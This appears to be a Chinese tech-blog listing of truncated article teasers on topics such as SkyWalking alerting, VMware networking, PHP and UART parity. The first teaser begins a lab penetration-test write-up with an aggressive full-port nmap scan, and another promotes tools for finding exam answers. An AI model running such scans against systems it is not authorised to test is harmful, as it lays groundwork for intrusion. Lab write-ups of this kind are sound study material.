信息收集 端口扫描 ┌──(root㉿kali)-[~] └─# nmap -sC -sV -A -p- --min-rate10000 10.129.229.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 20:44 EST Warning: 10.129.229.185 giving up on port because retransmission cap hit (10). Nmap scan …

【微服务】skywalking自定义告警规则使用详解

目录 一、前言 二、SkyWalking告警功能介绍 2.1 SkyWalking告警是什么 2.2 为什么需要SkyWalking告警功能 2.2.1 及时发现系统异常 2.2.2 保障和提升系统稳定性 2.2.3 避免数据丢失 2.2.4 提高故障处理效率 三、 SkyWalking告警规则 3.1 SkyWalking告警规则配置 3.2 …

VMware虚拟机网络配置

VMware虚拟机网络配置 桥接模式NAT网络 桥接模式 桥接模式其实就是借助你宿主机上的网卡进行联网和通信&#xff0c;所以相当于虚拟机和宿主机平级&#xff0c;处于同一个网段中。 配置要点&#xff1a; 注意选择正确的宿主机网卡 查看宿主机的网络信息&#xff0c;这些信息指…

[嵌入式AI从0开始到入土]8_在线Gpu环境训练(基于启智ai协作平台)

[嵌入式AI从0开始到入土]嵌入式AI系列教程 注&#xff1a;等我摸完鱼再把链接补上 可以关注我的B站号工具人呵呵的个人空间&#xff0c;后期会考虑出视频教程&#xff0c;务必催更&#xff0c;以防我变身鸽王。 第1期 昇腾Altas 200 DK上手 第2期 下载昇腾案例并运行 第3期 官…

原子变量和原子操作

一、什么是原子操作 通常某一个变量的操作对应的CPU指令是大于一个的&#xff0c;在多线程环境下&#xff0c;为了确保对共享变量的操作在执行时不会被干扰&#xff0c;从而避免竞态条件和死锁等问题&#xff0c;使用原子变量。 原子变量可以看作是一种特殊的类型&#xff0c…

php基础学习之函数

基本概念 是一种语法结构&#xff0c;将实现某一个功能的代码块封装到一个结构中&#xff0c;从而实现代码的重复利用 php函数的定义语法 &#xff08;与C/Java很类似&#xff0c;区别在于没有数据类型&#xff0c;因为php是弱类型语言&#xff09; function 函数名(参数){ //…

会计财税答案怎么查找?推荐你使用这五个公众号和工具 #知识分享#微信

当今社会&#xff0c;随着信息技术的迅猛发展&#xff0c;大学生们在学习过程中面临着各种各样的困难和挑战。而在这些挑战中&#xff0c;面对繁重的作业和复杂的题目&#xff0c;大学生搜题软件应运而生 1.题小聪 这个是公众号 电大国开试题库为主&#xff0c;搜题效率挺高…

Linux 查看 系统基本信息 uname

基本用法&#xff1a; 在终端中输入"uname"即可显示系统的内核名称。 可以结合不同的参数使用&#xff0c;获取更详细的系统信息。 常见参数&#xff1a; “-s”&#xff1a;显示操作系统名称。 “-n”&#xff1a;显示网络节点主机名。 “-r”&#xff1a;显示内核版…

Linux之动静态库

今天我们来讲动静态库&#xff01; 首先我们来粗粒度的划分一下动态库和静态库。 动态库就是只有一份库文件&#xff0c;所有想用该库的文件与改库文件建立链接&#xff0c;然后使用。这样可以提高代码复用率&#xff0c;避免重复拷贝产生没必要的内存消耗。 静态库&#xf…

UART通信中的奇偶校验

UART通信中的奇偶校验&#xff1a;提升数据传输可靠性的简单方法 在微控制器&#xff08;MCU&#xff09;和各种电子设备之间的数据通信领域&#xff0c;UART&#xff08;Universal Asynchronous Receiver/Transmitter&#xff0c;通用异步收发传输器&#xff09;协议是一种广泛…